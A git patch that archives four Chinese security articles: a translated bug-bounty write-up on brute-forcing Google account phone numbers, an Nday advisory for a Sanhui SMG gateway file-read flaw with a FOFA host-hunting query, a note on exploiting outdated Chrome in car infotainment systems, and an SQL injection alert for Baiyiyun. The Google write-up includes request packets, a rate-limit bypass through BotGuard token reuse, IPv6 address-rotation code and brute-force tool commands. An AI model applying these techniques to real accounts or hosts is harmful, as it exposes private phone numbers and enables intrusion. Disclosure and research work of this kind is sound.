From 41cdd39755ed321c618d7fae24feda7cb7a3da1d Mon Sep 17 00:00:00 2001 From: test Date: Thu, 12 Jun 2025 04:26:32 +0000 Subject: [PATCH] =?UTF-8?q?=E4=B8=80=E4=B8=AA$1,337=E7=9A=84=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E3=80=81=E4=B8=89=E6=B1=87=20SMG=E7=BD=91=E5=85=B3?= =?UTF-8?q?=E7=AE=A1=E7=90=86=E8=BD=AF=E4=BB=B6=209-13pcap.php=20=E4=BB=BB?= =?UTF-8?q?=E6=84=8F=E6=96=87=E4=BB=B6=E8=AF=BB=E5=8F=96=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E3=80=81=E5=AE=A2=E6=88=B7=E7=AB=AF=E6=BC=8F=E6=B4=9E=E6=8C=96?= =?UTF-8?q?=E6=8E=98=E6=96=B9=E6=B3=95=E8=AE=BA=E5=9C=A8=E8=BD=A6=E6=9C=BA?= =?UTF-8?q?=E7=B3=BB=E7=BB=9F=E4=B8=AD=E7=9A=84=E5=BB=B6=E4=BC=B8=EF=BC=9A?= =?UTF-8?q?=E4=BB=BB=E6=84=8F=E6=96=87=E4=BB=B6=E8=AF=BB=E5=8F=96=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E3=80=81=E6=BC=8F=E6=B4=9E=E9=A2=84=E8=AD=A6=20|=20?= =?UTF-8?q?=E7=99=BE=E6=98=93=E4=BA=91=E8=B5=84=E4=BA=A7=E7=AE=A1=E7=90=86?= =?UTF-8?q?=E8=BF=90=E8=90=A5=E7=B3=BB=E7=BB=9FSQL=E6=B3=A8=E5=85=A5?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 6 +- doc/2025-06/一个$1,337的漏洞.md | 230 ++++++++++++++++++ ... 9-13pcap.php 任意文件读取漏洞.md | 112 +++++++++ ...中的延伸：任意文件读取漏洞.md | 33 +++ ...资产管理运营系统SQL注入漏洞.md | 44 ++++ 5 files changed, 424 insertions(+), 1 deletion(-) create mode 100644 doc/2025-06/一个$1,337的漏洞.md create mode 100644 doc/2025-06/三汇 SMG网关管理软件 9-13pcap.php 任意文件读取漏洞.md create mode 100644 doc/2025-06/客户端漏洞挖掘方法论在车机系统中的延伸：任意文件读取漏洞.md create mode 100644 doc/2025-06/漏洞预警 百易云资产管理运营系统SQL注入漏洞.md diff --git a/data.json b/data.json index e117c4f0..be0f8227 100644 --- a/data.json +++ b/data.json @@ -15065,5 +15065,9 @@ "https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247493999&idx=3&sn=c093f32039ae5e0e02166b94042cc5a2": "SAP 2025年6月安全补丁日修复关键NetWeaver漏洞", "https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247493999&idx=1&sn=425510992775377d64d1b80cae9afe43": "随着Roundcube RCE漏洞被快速利用，超过80,000台服务器受到影响", "https://mp.weixin.qq.com/s?__biz=Mzg4MzkwNzI1OQ==&mid=2247486712&idx=1&sn=277f4b4f516792ce44bd7024784afc29": "【PHP代审】记一次某海外酒店管理系统漏洞复现分析+0day挖掘", - "https://mp.weixin.qq.com/s?__biz=MzkzNDI5NjEzMQ==&mid=2247484805&idx=1&sn=041adf9e2748f03fb2222d934f9fe44f": "【漏洞复现】九思oa漏洞之SQL注入" + "https://mp.weixin.qq.com/s?__biz=MzkzNDI5NjEzMQ==&mid=2247484805&idx=1&sn=041adf9e2748f03fb2222d934f9fe44f": "【漏洞复现】九思oa漏洞之SQL注入", + "https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247497717&idx=1&sn=6efe3ab6e5bb1234ee1fb95dd939bdd6": "一个$1,337的漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491780&idx=1&sn=697bf76c965a98ac990b82343f7b9a58": "三汇 SMG网关管理软件 9-13pcap.php 任意文件读取漏洞", + "https://mp.weixin.qq.com/s?__biz=Mzg4NjY3OTQ3NA==&mid=2247487000&idx=1&sn=5be4c11c561976988ba5b9f0fff70ccb": "客户端漏洞挖掘方法论在车机系统中的延伸：任意文件读取漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493368&idx=2&sn=701d5c7504e52d022769b7e6343466c1": "漏洞预警 | 百易云资产管理运营系统SQL注入漏洞" } \ No newline at end of file diff --git a/doc/2025-06/一个$1,337的漏洞.md b/doc/2025-06/一个$1,337的漏洞.md new file mode 100644 index 00000000..dcb08606 --- /dev/null +++ b/doc/2025-06/一个$1,337的漏洞.md @@ -0,0 +1,230 @@ +# 一个$1,337的漏洞 + 迪哥讲事 2025-06-11 12:30 + +

声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。

# + +# + +****# 防走失：https://gugesay.com/archives/4434 + +******不想错过任何消息？设置星标****↓ ↓ ↓** +**** +# + + + +# 前言 + +几个月前，国外白帽小哥在浏览器上禁用了 javascript，同时测试在现代网络中是否有任何 Google 服务在没有 JS 的情况下仍能正常运行。**有趣的是，用户名恢复表单仍然有效！** +* + +![file](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jmmQwvsp0mR4JYd6Em5xEMKc04EDDAL3PFKNlanCJ5MYyrdHbzEwBNlOic9ribSkqalJrvLYWeIJtrQ/640?wx_fmt=png&from=appmsg "") + +file + +这让白帽小哥感到惊讶，因为以前认为这些账户恢复表单自2018年以来都是需要JavaScript的，因为它们依赖于由严重混淆的 javascript 代码生成的 botguard 解决方案来以防滥用。 +# 深入了解 + +用户名恢复表单似乎允许检查恢复电子邮件或电话号码是否与特定显示名称相关联，这需要 2 个 HTTP 请求： + +请求包 1： +``` +POST /signin/usernamerecovery HTTP/2Host: accounts.google.comCookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0oContent-Length: 81Content-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Email=+18085921029&hl=en&gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359 +``` + +Cookie 和 gxf 值来自初始页面 HTML。 + +响应包1： +``` +HTTP/2 302 FoundContent-Type: text/html; charset=UTF-8Location: https://accounts.google.com/signin/usernamerecovery/name?ess=....&hl=en +``` + +这为我们提供了一个 ess 值，该值与我们用于下一个 HTTP 请求的电话号码相关联。 + +请求包2： +``` +POST /signin/usernamerecovery/lookup HTTP/2Host: accounts.google.comCookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0oOrigin: https://accounts.google.comContent-Type: application/x-www-form-urlencodedPriority: u=0, ichallengeId=0&challengeType=28&ess=&bgresponse=js_disabled&GivenName=john&FamilyName=smith +``` + +该请求允许我们检查是否存在具有该电话号码以及显示名称 “John Smith” 的 Google 帐户。 + +响应包 2（未找到帐户）： +``` +HTTP/2 302 FoundContent-Type: text/html; charset=UTF-8Location: https://accounts.google.com/signin/usernamerecovery/noaccountsfound?ess=... +``` + +响应包 2（找到帐户）： +``` +HTTP/2 302 FoundContent-Type: text/html; charset=UTF-8Location: https://accounts.google.com/signin/usernamerecovery/challenge?ess=... +``` +# 如何爆破 + +白帽小哥的第一次尝试是徒劳的，因为在几次请求后 Google 会对 IP 地址进行速率限制，并显示验证码： + +![file](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jmmQwvsp0mR4JYd6Em5xEMKwbHJ39iaCYmLXYs9VORtRksSLDdULb4YzlkicgyicvWKl2kNes4f20Znw/640?wx_fmt=png&from=appmsg "") + +file + +我们可以通过使用代理来解决这个问题，以荷兰为例， 忘记密码流程为我们提供了电话提示 •• ••••••03。 + +对于荷兰手机号码，它们总是以 06 开头，这意味着我们必须对 6 位数字进行爆破，10的 6 次方 = 1,000,000 ，虽然可以通过代理实现，但是否有更好的方法呢？ +# IPv6？ + +大多数服务提供商（如 Vultr）都提供 /64 IP 范围，这为我们提供了 18,446,744,073,709,551,616 个IP地址。 + +理论上，我们可以使用 IPv6 来变换用于每次请求的 IP 地址，从而绕过这个速率限制！ + +HTTP 服务器似乎也支持 IPv6： +``` +~ $ curl -6 https://accounts.google.comMoved Temporarily

Moved Temporarily

The document has moved here. +``` + +为了测试这一点，白帽小哥通过网络接口路由了 IPv6 范围，然后开始在 gpb 上工作，使用 reqwest 的 local_address 方法在其 ClientBuilder 上设置IP地址为子网中的随机IP： +``` +pub fn get_rand_ipv6(subnet: &str) -> IpAddr {    let (ipv6, prefix_len) = match subnet.parse::() {        Ok(cidr) => {            let ipv6 = cidr.first_address();            let length = cidr.network_length();            (ipv6, length)        }        Err(_) => {            panic!("invalid IPv6 subnet");        }    };    let ipv6_u128: u128 = u128::from(ipv6);    let rand: u128 = random();    let net_part = (ipv6_u128 >> (128 - prefix_len)) << (128 - prefix_len);    let host_part = (rand << prefix_len) >> prefix_len;    let result = net_part | host_part;    IpAddr::V6(Ipv6Addr::from(result))}pub fn create_client(subnet: &str, user_agent: &str) -> Client {    let ip = get_rand_ipv6(subnet);    Client::builder()        .redirect(redirect::Policy::none())        .danger_accept_invalid_certs(true)        .user_agent(user_agent)        .local_address(Some(ip))        .build().unwrap()} +``` + +白帽小哥运行了上面的 PoC 代码，但还是会出现验证码页面。似乎出于某种原因，禁用 JS 表单的数据中心 IP 地址总是会出现验证码，该死！ +# 使用 JS 表单中的 BotGuard 令牌 + +白帽小哥再次查看 2 个请求，看看是否有办法解决这个问题，其中bgresponse=js_disabled + 引起了白帽小哥的注意。 + +小哥依稀记得，在启用 JS 的帐户恢复表单上，botguard 令牌是通过 bgRequest + 参数传递的。 + +![file](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jmmQwvsp0mR4JYd6Em5xEMKwktMbOVkRzoicvic6SLnnatjeKNfbzBGAXLjfuvLYCXMuUNndVAvCoZQ/640?wx_fmt=png&from=appmsg "") + +file + +如果将 js_disabled + 替换为启用 JS 的表单请求中的 botguard 令牌，会怎样呢？测试了一下， 居然奏效了！ + +botguard 令牌似乎对 No-JS 表单没有请求限制，但这些随机的“人”是谁呢？ +``` +$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 -f Henry -l Chancellor -w 3000Starting with 3000 threads...HIT: +31612345603HIT: +31623456703HIT: +31634567803HIT: +31645678903HIT: +31656789003HIT: +31658854003HIT: +31667890103HIT: +31678901203HIT: +31689012303HIT: +31690123403HIT: +31701234503HIT: +31712345603HIT: +31723456703 +``` + +通过继续深入了解，白帽小哥发现这些人都是拥有 Google 帐户名称“Henry”但没有设置姓氏的人，以及一部最后 2 位数字为 03 的手机。 + +对于这些数字，它将返回“Henry”和任何姓氏的 usernamerecovery/challenge +。 + +通过添加一些额外的代码来验证使用名字和随机姓氏（如 0fasfk1AFko1wf） 的可能命中。如果仍然命中，就会被过滤掉，像下面这样： +``` +$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 --firstname Henry --lastname Chancellor --workers 3000Starting with 3000 threads...HIT: +31658854003Finished. +``` + +在实际操作中，不太可能有一次以上的命中，因为另一个谷歌用户拥有相同的完整显示名称、最后两位数字以及国家代码的情况并不常见。 +# 还需要解决的几件事 + +现在我们有一个基本的 PoC ，但仍有一些问题需要解决： +- 我们如何知道受害者的手机属于哪个国家/地区？ + +- 如何获取受害者的 Google 帐户显示的名称？ + +关于第一个问题，我们可以根据忘记密码流程提供给我们的电话掩码来找出国家/地区代码。 + +Google 实际上只是对每个号码使用 libphonenumbers 的 “国家格式”。 以下是一些示例： +``` +{    ...    "• (•••) •••-••-••": [        "ru"    ],    "•• ••••••••": [        "nl"    ],    "••••• ••••••": [        "gb"    ],    "(•••) •••-••••": [        "us"    ]} +``` + +白帽小哥编写了一个脚本，该脚本收集了所有国家/地区的掩码格式 +mask.json[1] +： + +针对第二个问题，最初在 2023 年，Google 更改了他们的政策，仅在目标与用户有直接交互（电子邮件、共享文档等）时才显示名称，因此他们慢慢地从端点中删除了名称。 + +到了 2024 年 4 月，他们更新了内部 FocusBackend 服务，以完全停止返回未经身份验证的帐户的显示名称，几乎删除了所有显示名称。 + +要找到显示名称的泄漏会很棘手，但最终在查看了随机的 Google 产品后，小哥发现可以创建一个 Looker Studio 文档，将其所有权转移给受害者，受害者的显示名称便会在主页上泄露， 而且受害者无需交互 ： + +![file](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jmmQwvsp0mR4JYd6Em5xEMKibmRCIpxiceMnnCQ3m20PEuEjEQw96Y72Mju2Faq0ju1Bw0fNvW4mqUg/640?wx_fmt=png&from=appmsg "") + +file +## 进一步优化 + +通过使用  +libphonenumbers[2] + 的号码验证，小哥能够为每个国家/地区生成一个包含移动电话前缀、已知区号和位数[format.json](https://github.com/ddd/gpb/blob/main/data/format.json" format.json")。 +``` + ...  "nl": {        "code": "31",        "area_codes": ["61", "62", "63", "64", "65", "68"],        "digits": [7]    }, ... +``` + +白帽小哥还实现了实时 libphonenumber 验证 ，以减少对 Google API 的无效查询。 + +对于 botguard 令牌，小哥使用 chromedp 编写了一个 Go 脚本 ，只需一个简单的 API 调用即可生成 BotGuard 令牌： +``` +$ curl http://localhost:7912/api/generate_bgtoken{  "bgToken": ""} +``` +# 组合在一起 +1. 通过 Looker Studio 泄露 Google 帐户显示名称 + +1. 完成该电子邮件的忘记密码流程并获取被屏蔽的电话号码 + +1. 使用显示名称和掩码电话运行 gpb 程序以暴力破解电话号码 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jmmQwvsp0mR4JYd6Em5xEMKs6GkZf323KFH3F4TrUV3sqJnViaqjTDD2Nmy7VqTv4twVUOXPxWiap6g/640?wx_fmt=png&from=appmsg "") +# 爆破所需的时间 + +使用具有消费级规格 （16 个 vcpu） 的 0.30 USD/小时的服务器，白帽小哥能够实现每秒大约 40000 次检查。 + +![file](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jmmQwvsp0mR4JYd6Em5xEMKx9LUon5wHoOWvKsicKCsnOntuT5VRtFXsEF97fgRQQ9dVcIqI2fDpZw/640?wx_fmt=png&from=appmsg "") + +file + +甚至还可以通过其它服务（如 PayPal）中密码重置流程的电话号码提示来显著减少此时间，这些服务提供了更多数字（例如 +14•••••1779） + +如果你是一个长期主义者，欢迎加入我的知识星球，我们一起往前走，每日都会更新，精细化运营，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款 + +![](https://mmbiz.qpic.cn/mmbiz_png/YmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ/640?wx_fmt=png&from=appmsg "") +## 往期回顾 +# 如何绕过签名校验 +# + +[一款bp神器](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495880&idx=1&sn=65d42fbff5e198509e55072674ac5283&chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&scene=21#wechat_redirect) + + +[挖掘有回显ssrf的隐藏payload](https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496898&idx=1&sn=b6088e20a8b4fc9fbd887b900d8c5247&scene=21#wechat_redirect) + + +[ssrf绕过新思路](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495841&idx=1&sn=bbf477afa30391b8072d23469645d026&chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&scene=21#wechat_redirect) + + +[一个辅助测试ssrf的工具](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496380&idx=1&sn=78c0c4c67821f5ecbe4f3947b567eeec&chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&scene=21#wechat_redirect) + + +[dom-xss精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247488819&idx=1&sn=5141f88f3e70b9c97e63a4b68689bf6e&chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&scene=21#wechat_redirect) + + +[年度精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487187&idx=1&sn=622438ee6492e4c639ebd8500384ab2f&chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&scene=21#wechat_redirect) + + +[Nuclei权威指南-如何躺赚](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487122&idx=1&sn=32459310408d126aa43240673b8b0846&chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&scene=21#wechat_redirect) + + +[漏洞赏金猎人系列-如何测试设置功能IV](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486973&idx=1&sn=6ec419db11ff93d30aa2fbc04d8dbab6&chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&scene=21#wechat_redirect) + + +[漏洞赏金猎人系列-如何测试注册功能以及相关Tips](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect) + +[‍](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect) + + + + + + +原文：https://brutecat.com/articles/leaking-google-phones#how-do-we-know-which-country-code-a-victim-39-s-phone-is- +### 参考资料 + +[1]  +mask.json: https://github.com/ddd/gpb/blob/main/data/mask.json + +[2]  +libphonenumbers: https://github.com/google/libphonenumber + +- END - + +**** diff --git a/doc/2025-06/三汇 SMG网关管理软件 9-13pcap.php 任意文件读取漏洞.md b/doc/2025-06/三汇 SMG网关管理软件 9-13pcap.php 任意文件读取漏洞.md new file mode 100644 index 00000000..b7a0fc8a --- /dev/null +++ b/doc/2025-06/三汇 SMG网关管理软件 9-13pcap.php 任意文件读取漏洞.md @@ -0,0 +1,112 @@ +# 三汇 SMG网关管理软件 9-13pcap.php 任意文件读取漏洞 +Superhero Nday Poc 2025-06-12 02:37 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkYN4sZibCVo6EFo0N9b7Kib4I4N6j6Y10tynLOdgov9ibUmaNwW5yeoCbQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkhic5lbbPcpxTLtLccZ04WhwDotW7g2b3zBgZeS5uvFH4dxf0tj0Rutw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCk524CiapZejYicic1Hf8LPt8qR893A3IP38J3NMmskDZjyqNkShewpibEfA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的 +POC +信息及 +POC对应脚本 +而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Nday Poc及作者不为此承担任何责任，一旦造成后果请自行承担！ + + +**01** + +**漏洞概述** + + +三汇 SMG网关管理软件 9-13pcap.php 接口处任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。 + +**02****** + +**搜索引擎** + + +FOFA: +``` +body="text ml10 mr20" && (title="网关管理软件" || title="Gateway Management") +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwI46iawObODBRDqqO9hPzOJfAYzwicq9aqHicSdavibAnp9ibIQBKOp5w7sXkPvyo8R4zTHicibsbS8Zyz7g/640?wx_fmt=png&from=appmsg "") + + +**03****** + +**漏洞复现** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwI46iawObODBRDqqO9hPzOJfGHbyd0LwNqafJ8riaiaoz5CIXexzdRnCXwGbohPsLB0FZ2uwsuqysOmg/640?wx_fmt=png&from=appmsg "") + + +**04** + +**自查工具** + + +nuclei + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwI46iawObODBRDqqO9hPzOJfb5mx1JAcKYJR8akdnib5p4cIebVGj9K0WIvf4W6Q7qSXcjHpD48Z4bw/640?wx_fmt=png&from=appmsg "") + +afrog + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwI46iawObODBRDqqO9hPzOJfLD7psDyA1AqXAklwXSibS1r6L1W5nYpNeck4cBlKfLsiamyICUzUPGdw/640?wx_fmt=png&from=appmsg "") + +xray + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwI46iawObODBRDqqO9hPzOJfYWEFYq3vgiaAAqe7ZwI0VcTEkm0eNYtI9AiaB0Z5K4RHy2ypaLJBfcZA/640?wx_fmt=png&from=appmsg "") + + +**05****** + +**修复建议** + + +1、关闭互联网暴露面或接口设置访问权限 + +2、 +升级至安全版本 + + +**06****** + +**内部圈子介绍** + + +【Nday漏洞实战圈】🛠️  + +专注公开1day/Nday漏洞复现 + · 工具链适配支持 + + ✧━━━━━━━━━━━━━━━━✧  + +🔍 资源内容 + + ▫️ 整合全网公开 +1day/Nday +漏洞POC详情 + + ▫️ 适配Xray/Afrog/Nuclei检测脚本 + + ▫️ 支持内置与自定义POC目录混合扫描  + +🔄 更新计划  + +▫️ 每周新增7-10个实用POC（来源公开平台）  + +▫️ 所有脚本经过基础测试，降低调试成本  + +🎯 适用场景  + +▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗  +▫️ 安全运维 + +✧━━━━━━━━━━━━━━━━✧  + +⚠️ 声明：仅限合法授权测试，严禁违规使用！ + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwI0beBCCyKGykkAazuPyvibgC0ooBGy9elQQ72f1WIB73UDYuPhx8cnCobvnOBdTcxmdwBbt2eAYIQ/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + diff --git a/doc/2025-06/客户端漏洞挖掘方法论在车机系统中的延伸：任意文件读取漏洞.md b/doc/2025-06/客户端漏洞挖掘方法论在车机系统中的延伸：任意文件读取漏洞.md new file mode 100644 index 00000000..72ad1b8f --- /dev/null +++ b/doc/2025-06/客户端漏洞挖掘方法论在车机系统中的延伸：任意文件读取漏洞.md @@ -0,0 +1,33 @@ +# 客户端漏洞挖掘方法论在车机系统中的延伸：任意文件读取漏洞 + 玲珑安全 2025-06-12 01:33 + +大伙儿好，今天又来叨叨两句，分享笔者在车联网漏洞挖掘中的案例思路。 + +从标题可以看出，这是笔者从之前客户端的挖掘经验延伸过来的。现在，我们就将车机看成是一个大型的“客户端”。 + +这个“客户端”的功能非常多，涉及到的挖掘方向也特别多，蓝牙、无线、协议、通信等。 + +但是今天，我们就从简单的一个点切入—— +Chrome +。 + +Chrome历史漏洞，是我们在挖掘漏洞中常常关注的地方。例如AI请求网页、客户端内置浏览器。车机系统中，也存在内置浏览器。 + +在多数情况下，当目标对外发起请求的时候，我们可以获取到目标请求的UA信息。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/OW6SxDRSdmlpHcuUBqntuU4icEVkSfdAgTXEzRuoYunhYfib9KlZsUmfzmEoRj9kxricZ0YPT7LzRzHKTic63yWuxQ/640?wx_fmt=png&from=appmsg "") + +例如截图中的： +Chrome/101.0.4951.61 + +Chrome的版本过低的话，存在被攻击的风险就越大，这里推荐一个谷歌漏洞库( +https://issues[.]chromium[.]org) +，可以查询一些Chrome的漏洞信息。 + +获取到对应的历史漏洞信息之后，就可以构造我们的Payload，达成我们的攻击。 + +例如：文件读取 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/OW6SxDRSdmlpHcuUBqntuU4icEVkSfdAgAAlnQibLcxtA8xtjkmzMYA7cEWYicPHyQeWZYFicZamM8ickeBGII1luibw/640?wx_fmt=jpeg&from=appmsg "") + + diff --git a/doc/2025-06/漏洞预警 百易云资产管理运营系统SQL注入漏洞.md b/doc/2025-06/漏洞预警 百易云资产管理运营系统SQL注入漏洞.md new file mode 100644 index 00000000..8fc718c9 --- /dev/null +++ b/doc/2025-06/漏洞预警 百易云资产管理运营系统SQL注入漏洞.md @@ -0,0 +1,44 @@ +# 漏洞预警 | 百易云资产管理运营系统SQL注入漏洞 +浅安 浅安安全 2025-06-12 00:01 + +**0x00 漏洞编号** +- # 暂无 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +百易云资产管理运营系统是一款基于云计算技术的资产管理与运营平台，主要面向各类企事业单位提供全方位的资产管理服务。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SUY4fKhiaBUSVQ3UdXo5USvX8AtN9Q32ptyiaj6bGB9uQt0nia0rX8f9nZjkVcmMxdnKqnMRRDczl39g/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**0x03 漏洞详情** + +**漏洞类型：** +SQL注入 + +**影响：** +获取敏感信息 + +**简述：** +百易云资产管理运营系统的 +/adminx/imaRead.make.php、/adminx/leaseImaRead.make.php和/adminx/leaseTurnoverRead.make.php +/adminx/feeStandard.Apply.save2.php +接口存在SQL注入漏洞，未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。 + +**0x04 影响版本** +- 百易云资产管理运营系统 + +**0x05****POC状态** +- 已公开 + +**** +**0x06****修复建议** + +**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：** + +https://www.baiyishequ.com/ + + +